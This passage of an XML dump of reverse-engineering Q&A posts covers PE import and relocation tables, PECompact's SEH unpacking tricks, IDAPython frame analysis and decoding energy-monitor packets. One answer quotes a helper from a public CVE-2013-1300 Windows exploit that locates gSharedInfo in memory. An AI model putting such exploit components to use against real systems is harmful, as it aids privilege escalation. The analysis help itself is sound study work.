  <row Id="11230" PostTypeId="2" ParentId="11174" CreationDate="2015-11-02T17:46:54.427" Score="3" Body="&lt;p&gt;It's called &lt;a href=&quot;http://developerblog.redhat.com/2014/10/29/rhel7-gcc-optimizations-partial-inlining/&quot; rel=&quot;nofollow&quot;&gt;partial inlining&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Partial inlining is closely related to function outlining. Rather than&#xA;  inlining the entire body into a call site, the compiler may choose to&#xA;  inline part of the called function (typically a hot fragment at the&#xA;  start of the function with an early return).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-02T17:46:54.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11231" PostTypeId="2" ParentId="11175" CreationDate="2015-11-02T17:53:53.150" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;http://cfile10.uf.tistory.com/attach/1237FF424DB038D6045F5D&quot; rel=&quot;nofollow&quot;&gt;http://cfile10.uf.tistory.com/attach/1237FF424DB038D6045F5D&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FDPro is capable of exporting in two formats. The first format is&#xA;  industry standard DD RAW format with a &quot;.bin&quot; extension. This process&#xA;  is just a literal zero-to-max_mem_size dump of the physical memory.&#xA;  The second format that is available is known as HPAK. HPAK is an&#xA;  HBGary proprietary format which is capable of several key features,&#xA;  namely the ability to store and archive the RAM and Pagefile in a&#xA;  single archive. HPAK format also supports compression using the gzip&#xA;  format. This is useful during instances where space on the collecting&#xA;  device/system is limited.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So any tool capable of handling raw physical memory dumps should be able to handle FDPro's .bin files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the .hpak files, from &lt;a href=&quot;https://books.google.com/books?id=5hvSrBGVfIgC&quot; rel=&quot;nofollow&quot;&gt;https://books.google.com/books?id=5hvSrBGVfIgC&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;only HBGary's Responder product can be used to analyze an .hpak format&#xA;  memory dump&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-02T17:53:53.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11232" PostTypeId="2" ParentId="11192" CreationDate="2015-11-02T18:01:30.863" Score="0" Body="&lt;p&gt;See &lt;a href=&quot;https://github.com/Meatballs1/cve-2013-1300/blob/master/cve-2013-1300/exploit.c#L16&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Meatballs1/cve-2013-1300/blob/master/cve-2013-1300/exploit.c#L16&lt;/a&gt; for a way to find &lt;code&gt;gSharedInfo&lt;/code&gt; by scanning &lt;code&gt;UserRegisterWowHandlers&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PSHAREDINFO LocateSharedInfo()&#xA;{&#xA;    ULONG i;&#xA;    ...&#xA;    ULONG_PTR pfnUserRegisterWowHandlers = (ULONG_PTR)GetProcAddress(GetModuleHandle(&quot;USER32.dll&quot;), &quot;UserRegisterWowHandlers&quot;);&#xA;&#xA;    ...&#xA;&#xA;    for (i = pfnUserRegisterWowHandlers; &#xA;         i &amp;lt;= pfnUserRegisterWowHandlers +0x250; &#xA;         ++i )&#xA;    {&#xA;        if (0x40c7 == *(WORD*)i &amp;amp;&amp;amp; &#xA;            0xb8 == *(BYTE*)(i + 7))&#xA;        {&#xA;            return (PSHAREDINFO)(*(DWORD*)(i + 8));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-02T18:01:30.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11233" PostTypeId="1" AcceptedAnswerId="11235" CreationDate="2015-11-02T18:30:23.220" Score="0" ViewCount="657" Body="&lt;p&gt;I have an application that I am auditing that runs code from an imported DLL. Said DLL itself has imports. Specifically, during execution there's a point where the following is called (EIP is in said DLL):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68DC6648:    jmp dword ptr ds:[68DD21C8h]&#xA;68DC664E:    nop&#xA;68DC664f:    nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I performed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disasm /all /disasm X:\path\to\dll\myDll.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the DLL in an attempt to determine where [68DD21C8] goes to. Mosdef appears as though it is a part of a thunk table for relocations or IAT. My assumption sppears to be correct, as I find [68DD21C8] under the .reloc header under a section called BASE RELOCATIONS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BASE RELOCATIONS #4&#xA;...    ...        ...&#xA;6000 RVA,    10C SizeOfBlock&#xA;...    ...        ...&#xA;64A    HIGHLOW    68DD21C8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The preferred image base is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68DC0000 image base (68DC0000 to 68DD7FFFF)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the DLL entrypoint appears to be 68DC1000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how do I determine the memory address for [68DD21C8] and its relative code/disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried baseaddr + RVA + ordinal to get:&#xA;68DC0000 + 6000 + 64A == 68DC664A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it falls within range of my disassembled code. In my disassembly from dumpbin, 68DC664A isn't a valid address and &lt;strong&gt;would lie between the previously stated thunk!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68DC6648:    jmp dword ptr ds:[68DD21C8h] ;&amp;lt;--contains 68DC664A!!!&#xA;68DC664E:    nop&#xA;68DC664f:    nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I double checked I have my maths right and searched around, found this previous answer on stack exchange, but it only verified my math above was &lt;a href=&quot;https://stackoverflow.com/a/24824257/5174896&quot;&gt;correct&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-11-03T05:26:07.233" Title="Dumpbin: Correlating thunk jumps in .reloc to disassembly" Tags="|disassembly|debugging|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11234" PostTypeId="2" ParentId="11212" CreationDate="2015-11-02T19:35:42.713" Score="3" Body="&lt;p&gt;As @peter-ferrie said, 32-bit processes will use &lt;code&gt;C:\WINDOWS\SysWOW64\shell32.dll&lt;/code&gt; instead of &lt;code&gt;C:\WINDOWS\system32\shell32.dll&lt;/code&gt; if you specify &lt;code&gt;C:\WINDOWS\system32\shell32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa384187.aspx&quot; rel=&quot;nofollow&quot;&gt;force&lt;/a&gt; a 32-bit process to use the actual 64-bit version, you can specify the following file path: &lt;code&gt;C:\WINDOWS\Sysnative\shell32.dll&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This saves you the trouble of having to use Explorer to make a copy of the 64-bit DLL.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-02T19:35:42.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11235" PostTypeId="2" ParentId="11233" CreationDate="2015-11-02T19:40:33.710" Score="1" Body="&lt;p&gt;If you have set a proper _NT_SYMBOL_PATH dumpbin uses the symbols if they exist and provide you a name of the import instead of hex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the example below shows alls that have resolved names instead of hex for  windows calc.exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /disasm c:\WINDOWS\system32\calc.exe | grep -i &quot;jmp.*\[&quot;&#xA;  01004A9B: FF 24 85 FA 50 00  jmp         dword ptr [eax*4+10050FAh]&#xA;  01007BC8: FF 25 7C 10 00 01  jmp         dword ptr [__imp__LocalFree@4]&#xA;  0101263C: FF 25 BC 11 00 01  jmp         dword ptr [__imp____CxxFrameHandler]&#xA;  01012670: FF 25 C0 11 00 01  jmp         dword ptr [__imp___CxxThrowException@8]&#xA;  010127A4: FF 25 E4 11 00 01  jmp         dword ptr [__imp___XcptFilter]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case there are no symbols &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /disasm c:\usedll.exe | grep -i &quot;jmp.*\[&quot;&#xA;  0040106E: FF 25 0C 20 40 00  jmp         dword ptr ds:[0040200Ch]&#xA;  00401074: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]&#xA;  0040107A: FF 25 04 20 40 00  jmp         dword ptr ds:[00402004h]&#xA;  00401080: FF 25 08 20 40 00  jmp         dword ptr ds:[00402008h]&#xA;  00401086: FF 25 14 20 40 00  jmp         dword ptr ds:[00402014h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can view the raw data at the address (if it is an imported address it would be an unresolved first thunk ) windows loader fills it when it is loading the exe dump bin does not resolve it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /RAWDATA:4,6 c:\usedll.exe | grep 402000&#xA;  00402000: 00002082 00002090 000020A2 00002074 00000000 000020C0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to resolve this manually you should parse the import table &#xA;00002082 will point to an import &#xA;00002090 will point to another import in x.dll etc &#xA;00000000 is a seperator &#xA;20c0 will point to an import in y.dll and so on &#xA;name of x.dll , y.dll z.dll will also be the part of import table &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a complete import table of a non symbol exe &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /RAWDATA:4 c:\usedll.exe | grep -A 14 402000&#xA;  00402000: 00002082 00002090 000020A2 00002074  . ... ..ó ..t ..&#xA;  00402010: 00000000 000020C0 00000000 00002058  ....└ ......X ..&#xA;  00402020: 00000000 00000000 000020B2 00002000  ........▓ ... ..&#xA;  00402030: 0000206C 00000000 00000000 000020CE  l ..........╬ ..&#xA;  00402040: 00002014 00000000 00000000 00000000  . ..............&#xA;  00402050: 00000000 00000000 00002082 00002090  ......... ... ..&#xA;  00402060: 000020A2 00002074 00000000 000020C0  ó ..t ......└ ..&#xA;  00402070: 00000000 78450075 72507469 7365636F  ....u.ExitProces&#xA;  00402080: 00A20073 65657246 7262694C 00797261  s.ó.FreeLibrary.&#xA;  00402090: 65470129 6F725074 64644163 73736572  ).GetProcAddress&#xA;  004020A0: 01A90000 64616F4C 7262694C 41797261  ..⌐.LoadLibraryA&#xA;  004020B0: 454B0000 4C454E52 642E3233 00006C6C  ..KERNEL32.dll..&#xA;  004020C0: 654D01BB 67617373 786F4265 53550041  ╗.MessageBoxA.US&#xA;  004020D0: 32335245 6C6C642E 00 00              ER32.dll..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can observe 20b2 and 20ce pointing to kernel32.dll and user32.dll respectively&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the  address in your query does not point to an import table it is part of reloc or a fixup&lt;br&gt;&#xA;fixups do not jump between modules they fall within the module being examined   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /RELOCATIONS c:\WINDOWS\system32\kernel32.dll | head -n 11 | tail -3&#xA;&#xA;BASE RELOCATIONS #4&#xA;    1000 RVA,       70 SizeOfBlock&#xA;     62C  HIGHLOW            7C810B50&#xA;&#xA;C:\&amp;gt;dumpbin /Rawdata:4 c:\WINDOWS\system32\kernel32.dll | grep -i 7c801620&#xA;  7C801620: 00000000 90909090 68146A90 7C810B50  .........j.hP..|&#xA;&#xA;notice 7c810b50  if the dll is loaded in preferred imagebase this wont change&#xA;&#xA;if the image base is changed loader will find the dword at imagebase+rva+offset &#xA;subtract the preferred imagebase and add the new imagebase to that result and&#xA;patch the dword to point to correct location &#xA;&#xA;suppose the preferrred imagebase of 7c800000 wasn't available and dll was loaded at 7d800000 &#xA;loader will fetch the dword 7c810b50 at 7d80162c subtract 7c800000 from it result = 10b50 &#xA;add 7d800000 and patch 7c810b50 to 7d810b50 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the query&lt;br&gt;&#xA;you say &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68DC6648:    jmp dword ptr ds:[68DD21C8h] ;&amp;lt;--contains 68DC664A!!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that means it is jumping to the middle of the opcode &#xA;disassembling 68dc66fa you get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxxx       68 DC664A90     PUSH    904A66DC&#xA;xxxxx       90              NOP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you may need something better than dumpbin to deal with obfuscation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regarding your comment about import parsing no the offsets have nothing to do with base + rva + xxx&lt;br&gt;&#xA;they do not point to any remote module no reference to any import module address exist in the importing module&lt;br&gt;&#xA;(just take a step back and think what would happen if the dll in the import&lt;br&gt;&#xA;table was rebased ?? where the exe is going to look for ?? get the idea??)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the import  table pasted above  2082,2090,20a2,2074 points to 4 imports from first dll&#xA;20c0 points to 1 import from second dll  this is firstthunk that will be replaced by the loader with actual import address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;import table is denoted in pe header-&gt;optinal header-&gt;datadir[1]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_IMAGE_NT_HEADERS -y opt.datadi[1]. 4000b0&#xA;   +0x018 OptionalHeader : &#xA;      +0x060 DataDirectory  : [1] &#xA;         +0x000 VirtualAddress : 0x201c&#xA;         +0x004 Size           : 0x3c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see 201c and size 3c that is 15 dwords see below for splitup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _IMAGE_IMPORT_DESCRIPTOR {&#xA;  union   {&#xA;    DWORD   Characteristics;&#xA;    DWORD   OriginalFirstThunk;   &amp;lt;-----00002058,0000206c,00000000&#xA;  } DUMMYUNIONNAME;&#xA;  DWORD   TimeDateStamp;    &amp;lt;-----------00000000,00000000,00000000&#xA;  DWORD   ForwarderChain;   &amp;lt;-----------00000000,00000000,00000000&#xA;  DWORD   Name;             &amp;lt;-----------000020b2,000020ce,00000000 &#xA;  DWORD   FirstThunk;       &amp;lt;-----------00002000,00002014,00000000&#xA;} IMAGE_IMPORT_DESCRIPTOR;&#xA;the last is a null entry that means 5 dwords that are 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the original firstthunk a copy of first thunk stays as it is &#xA;the orignal first thunk gets modified by loader &#xA;loader loads the specified dll using an internal function of LoadLibrary()---&gt;LdrLoadDll() &#xA;and uses an internal api of GetProcAddress  to fetch the importAddress and patches the OriignalFirstThunk  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the module being examined has no inkling about the addresses &#xA;you cant manually calculate anything about a remote dll import from import table &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-03T05:26:07.233" LastActivityDate="2015-11-03T05:26:07.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11236" PostTypeId="2" ParentId="11149" CreationDate="2015-11-03T08:21:53.787" Score="3" Body="&lt;p&gt;I'd approach this problem as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check for logging strings. Probably you'll find there something related to allocations which will solve the problem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find all functions with 1 argument (size for &lt;code&gt;malloc()&lt;/code&gt; and pointer for &lt;code&gt;free()&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Track results of these functions. &lt;code&gt;malloc()&lt;/code&gt; result is usually checked against &lt;code&gt;NULL&lt;/code&gt; after use and rarely used in math operations. In addition result of &lt;code&gt;malloc()&lt;/code&gt; function is used in store operations or &lt;code&gt;memcpy()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Free function argument is not used after calling it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;free()&lt;/code&gt; should be located in close addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These heuristics should be enough to narrow down the number of possible candidates to observable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2015-11-03T08:35:42.413" LastActivityDate="2015-11-03T08:35:42.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11237" PostTypeId="1" CreationDate="2015-11-03T08:33:23.190" Score="1" ViewCount="1366" Body="&lt;p&gt;I'm currently reversing file that is packed with PECompact packer. I'm interested in actual algorithm how it unpacks itself rather than having unpacked file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses SEH for modifying program flow. So I would like to ask about SEH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I have:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0Z6fi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Z6fi.png&quot; alt=&quot;Step 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I add breakpoint at &lt;code&gt;0x4517E4&lt;/code&gt; after I pass exception into app I go here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0B4eP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0B4eP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does some code modifications and returns &lt;code&gt;0&lt;/code&gt; (&lt;code&gt;ExceptionContinueExecution&lt;/code&gt; from &lt;code&gt;EXCEPTION_DISPOSITION&lt;/code&gt; enum). It returns to kernel function, but where should execution be continued from, after it goes back into app? I have tried putting breakpoint at &lt;code&gt;0x401016&lt;/code&gt; because it is a point where exception occurred and it stopped there, I would like to ask if this is just a coincidence, or it should work this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is related to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363082%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;EXCEPTION_RECORD&lt;/a&gt; structure &lt;code&gt;ExceptionAddress&lt;/code&gt; value. Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that I really want to know how exception handling determines point, from which program execution should be continued according to different return values from handler function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/8b977be6928c30a5fe3886f6906c9e0fd83e85a75643eee5688c32461a96bcd9&quot; rel=&quot;nofollow noreferrer&quot;&gt;Also file I'm working on can be downloaded here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2015-12-03T14:15:13.383" Title="Reversing PECompact packed code (How SEH works)" Tags="|exception|seh|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11238" PostTypeId="1" CreationDate="2015-11-03T08:59:57.673" Score="1" ViewCount="379" Body="&lt;p&gt;I want to detect all the variables &lt;em&gt;live&lt;/em&gt; at any instruction/address in a binary. By &lt;em&gt;variable&lt;/em&gt;, I refer to both &lt;code&gt;global&lt;/code&gt; as well as &lt;code&gt;function local&lt;/code&gt; variables. In other words, given a Linux ELF and a virtual address, is there any means to know programmatically what all are the variables (in terms of memory locations) live at that point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro seems to detect the memory locations of probable variables in a procedure.  Does IDA expose any API to collect such information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to use DynamoRIO to dynamically monitor the program at run-time. A &lt;code&gt;call-ret&lt;/code&gt; pair should mark the beginning and ending of a function. Once I encounter a &lt;code&gt;call&lt;/code&gt;, I monitor all the read-write accesses on stack locations referenced either by &lt;code&gt;%ebp&lt;/code&gt; or &lt;code&gt;%esp&lt;/code&gt;. The problem is tail-calls where compiler optimizes a &lt;code&gt;call&lt;/code&gt; substituting by &lt;code&gt;jmp&lt;/code&gt;, thereby detection of function virtually impossible.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2015-11-12T06:36:19.297" LastActivityDate="2015-11-12T06:36:19.297" Title="Variable liveness analysis on binaries" Tags="|binary-analysis|elf|binary|stack-variables|local-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11239" PostTypeId="2" ParentId="11238" CreationDate="2015-11-03T10:20:29.967" Score="4" Body="&lt;p&gt;I don't think that it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume the following C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int f1(int p1, int p2)&#xA;{&#xA;    int l1, l2, l3;&#xA;    /* some code */&#xA;    l1 = l1 + l2; // here is our virtual address&#xA;    return l1;&#xA;}&#xA;&#xA;int f2(int p3, int p4)&#xA;{&#xA;    int l4, l5, l6;&#xA;    return f1(p3, p4);&#xA;}&#xA;&#xA;int f3(int p5, p6)&#xA;{&#xA;    int l7, l8;&#xA;    return f2(p5, p6) + f1(p6, p5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the set of local variables in whole the stack of this thread will be different when calling f3, f2 and f1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when f3 calls f2 f2's locals are on stack. after call to f2 when f3 calls f1 obviously the whole threads stack is different and f2 locals are not alive and it is impossible to restore the full stack layout of callers without knowing the full execution sequence and stack trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determining global variables, however, is simpler - they always alive and can be retrieved by iteration on all data and bss like elf segments with, for example, following simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;seg_list = [&quot;.bss&quot;, &quot;.data&quot;] #insert your segment names here&#xA;seg_addrs = []&#xA;for seg in Segments():&#xA;    if idc.SegName(seg) in seg_list:&#xA;        seg_addrs.append(seg)&#xA;&#xA;for seg in seg_addrs:  &#xA;    start = SegStart(seg)&#xA;    end = SegEnd(seg)&#xA;    for ea in idautils.Heads(start, end):&#xA;        gen_xrefs = XrefsTo(ea, 0)&#xA;        for xx in gen_xrefs:&#xA;            print hex(ea), hex(xx.frm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything which Ida recognizes as referenced will be printed out.&#xA;The accuracy of these results, however, is questionable and depends on accuracy of IDA analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function local variables and stack layout can be retrieved by getting the stack frame structure, with usage of the following APIs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetFrame(ea)         #Get ID of function frame structure&#xA;GetFrameLvarSize(ea) #Get size of local variables in function frame&#xA;GetFrameRegsSize(ea) #Get size of saved registers in function frame&#xA;GetFrameArgsSize(ea) #Get size of arguments in function frame which are purged upon return&#xA;GetFrameSize(ea)     #Get full size of function frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The frame structure may be observed with the following IDAPython APIs from idc module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetMemberId(sid, member_offset)&#xA;GetStrucPrevOff(sid, offset)&#xA;GetStrucNextOff(sid, offset)&#xA;GetFirstMember(sid)&#xA;GetLastMember(sid)&#xA;GetMemberOffset(sid, member_name)&#xA;GetMemberName(sid, member_offset)&#xA;GetMemberComment(sid, member_offset, repeatable)&#xA;GetMemberSize(sid, member_offset)&#xA;GetMemberFlag(sid, member_offset)&#xA;GetMemberStrId(sid, member_offset)&#xA;IsUnion(sid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-11-03T13:59:15.347" LastActivityDate="2015-11-03T13:59:15.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11240" PostTypeId="2" ParentId="11237" CreationDate="2015-11-03T10:31:03.613" Score="0" Body="&lt;pre&gt;&lt;code&gt;MOV     EAX, F0450569&#xA;LEA     ECX, DWORD PTR DS:[EAX+1000129E]   ;  ecx will be 00451807&#xA;MOV     DWORD PTR DS:[ECX+1], EAX          ;  451808 will hold f0450569&#xA;MOV     EDX, DWORD PTR SS:[ESP+4]          ;  ExceptionRecord&#xA;MOV     EDX, DWORD PTR DS:[EDX+C]          ;  ExceptionRecord-&amp;gt;ExceptionAddress == 401016&#xA;MOV     BYTE PTR DS:[EDX], 0E9             ;  byte@exceptionAddress to e9 five byte jump&#xA;ADD     EDX, 5                             ;  ExceptionAddress+5 ==40101b&#xA;SUB     ECX, EDX                           ;  451807-edx = 507ec&#xA;MOV     DWORD PTR DS:[EDX-4], ECX          ;  assembles jmp 507ec @exception address&#xA;XOR     EAX, EAX                           ;  retn 0 == exception has been handled&#xA;RETN                                       ; 401016 == jmp 507ec instead of mov [eax],ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since the exception handler does not modify the eip but changes the opcodes of old eip you will end up executing the same old eip&lt;br&gt;&#xA;pure coincidence&lt;br&gt;&#xA;normally you should check ContextRecord-&gt;Eip before exiting from seh    handler this contains the eip that will be executed upon retun from kernel    check [[ESP+C]+0XB8]  on the retn to see the Context-&gt;Eip in seh handler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also set a breakpoint in ntdll.NtContinue this is the function that    crosses the um-&gt;km boundary on seh exit&lt;br&gt;&#xA;when hit you can set a bp on CONTEXT-&gt;Eip ( xxx* + 0xb8 on x86 32 bit)    &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-03T11:58:45.790" LastActivityDate="2015-11-03T11:58:45.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11241" PostTypeId="1" AcceptedAnswerId="11242" CreationDate="2015-11-03T16:07:54.197" Score="6" ViewCount="2054" Body="&lt;p&gt;I have an energy monitory and I managed to get into the feed. I got the handshake packets sorted but I am stuck on working out how to decode this data from HEX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I know are the following values as shown on the monitor at time of dump.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pac = 81 W&lt;/li&gt;&#xA;&lt;li&gt;Vac = 236.1 V&lt;/li&gt;&#xA;&lt;li&gt;Energy Total = 45.7 kWh&lt;/li&gt;&#xA;&lt;li&gt;Hours Total = 72 h&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and have the following packets, that are send by the monitor every 10 seconds&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; AA 55 00 01 01 00 11 82 32 00 AA 00 9A 06 DE 06   ªU.....‚2.ª.š.Þ.&#xA; D4 00 03 00 03 00 04 09 59 13 8C 00 51 00 00 00   Ô.......Y.Œ.Q...&#xA; 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..É...H......ÿÿ.&#xA; 00 00 00 00 00 00 00 00 00 00 00 09 35            ............5&#xA;&#xA; AA 55 00 01 01 00 11 82 32 00 A3 00 9A 07 01 07   ªU.....‚2.£.š...&#xA; 11 00 03 00 03 00 04 09 51 13 8E 00 4F 00 00 00   ........Q.Ž.O...&#xA; 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..É...H......ÿÿ.&#xA; 00 00 00 00 00 00 00 00 00 00 00 07 88            ............ˆ&#xA;&#xA; AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 C2 06   ªU.....‚2.£.š.Â.&#xA; E3 00 03 00 03 00 04 09 39 13 8E 00 51 00 00 00   ã.......9.Ž.Q...&#xA; 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..É...H......ÿÿ.&#xA; 00 00 00 00 00 00 00 00 00 00 00 09 03            .............&#xA;&#xA; AA 55 00 01 